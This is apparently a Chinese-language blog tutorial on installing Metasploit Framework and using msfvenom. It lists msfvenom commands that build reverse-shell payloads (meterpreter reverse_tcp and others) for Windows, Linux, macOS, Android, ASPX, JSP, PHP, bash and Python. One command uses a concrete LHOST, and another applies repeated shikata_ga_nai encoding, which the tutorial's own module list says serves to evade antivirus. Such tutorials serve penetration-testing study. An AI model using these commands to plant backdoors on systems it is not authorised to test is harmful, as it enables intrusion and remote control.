Metaspolit-1

本文详细介绍了开源安全漏洞检测工具Metasploit Framework的安装过程,包括在Linux系统中的安装命令和创建软连接。还阐述了msfvenom的使用方法,如生成shellcode、选择payload、编码、指定格式等。此外,文章提及了Metasploit的六个核心模块及其功能,以及如何加载自定义模块。内容涵盖了从基础操作到高级利用的多个方面。
摘要由CSDN通过智能技术生成

Metasploit

Metasploit Framework(MSF) 是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。

Metasploit安装

通常Linux系统除了kail之外,默认是不会安装MSF的。

安装命令:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole #创建一个软连接,这样我们在任何目录下都可以启动Metasploit框架。即在任何目录下输入msfconsole即可。

注意:初次运行msf会创建数据库,但是msf默认使用的PostgreSQL数据库不能与root用户关联,这也这也就是需 要新建用户msf来运行metasploit的原因所在。如果你一不小心手一抖,初次运行是在root用户下,可以使用msfdb reinit命令,然后使用非root用户初始化数据库。

MSF后期的升级命令:msfupdate

msfvenom的使用

msfvenom生成shellcode

Options:
    -p, --payload    <payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定
    -l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
    -n, --nopsled    <length>        为payload预先指定一个NOP滑动长度
    -f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
    -e, --encoder    [encoder]       指定需要使用的encoder(编码器)
    -a, --arch       <architecture>  指定payload的目标架构
        --platform   <platform>      指定payload的目标平台
    -s, --space      <length>        设定有效攻击荷载的最大长度
    -b, --bad-chars  <list>          设定规避字符集,比如: &#039;\x00\xff&#039;
    -i, --iterations <count>         指定payload的编码次数
    -c, --add-code   <path>          指定一个附加的win32 shellcode文件
    -x, --template   <path>          指定一个自定义的可执行文件作为模板
    -k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行
        --payload-options            列举payload的标准选项
    -o, --out   <path>               保存payload
    -v, --var-name <name>            指定一个自定义的变量,以确定输出格式
        --shellest                   最小化生成payload
    -h, --help                       查看帮助选项
        --help-formats               查看msf支持的输出格式列表


详细信息:
msfvenom -l payload #列出所有可用的payload
msfvenom -l formats #列出所有的输出格式
msfvenom -l encrypt #列出所有的加密方式
msfvenom -l encoders #列出所有的编码器
普通生成
msfvenom -p 有效载荷 -f 输出格式 -o 输出文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -x -f exe -o payload.exe
编码生成
msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式 -i编码次数 -f 输出格式 -o 输出文件 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx lport=xxxx -i 3-e x86/shikata_ga_nai -f exe -o payload.exe
常见的生成格式
windows:
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -f exe -o payload.exe msfvenom --platform windows -a x64 -p windows/meterpreter/reverse_tcp -f exe -o payload.exe msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.0.108 lport=4445 -f exe -o payload.exe


Linux:
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf


Mac:
msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho


Android:
msfvenom -p android/meterpreter/reverse_tcp -o payload.apk


Aspx:
msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx


Jsp:
msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp


PHP:
msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php


Bash:
msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh


Python:
msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py

MSF拓展知识

kali中exploit默认路径:/usr/share/metasploit-framework/modules/exploits
在这里插入图片描述
我们进 windows 平台看看,这里会列出针对windows平台不同服务的漏洞利用
在这里插入图片描述

进入smb服务,这是windows中经常爆出漏洞的服务,比如我们的永恒之蓝漏洞就在这里面。漏洞
利用代码是以 rb 结尾的文件,因为metasploit是用Ruby语言编写的。

在这里插入图片描述

如何加载自定义模块

下载一个rb文件的exploit文件 拷贝到framework/modules/exploits中 msf中
执行reload_all 重新加载模块 注意:注意在MSF中操作。

MSF的六个模块

auxiliary #负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块 
exploits #利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动) 
payloads #成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是 single、stages和stagers。 
nops #提高payload稳定性及维持大小。 
post #后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信 息、跳板攻击等操作
encoders #对payload进行加密,躲避AntiVirus检查的模块

这里模块具体讲解我们在MSF-永恒之蓝攻击进行讲解
链接:https://blog.csdn.net/weixin_54217950/article/details/125830488?spm=1001.2014.3001.5501
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值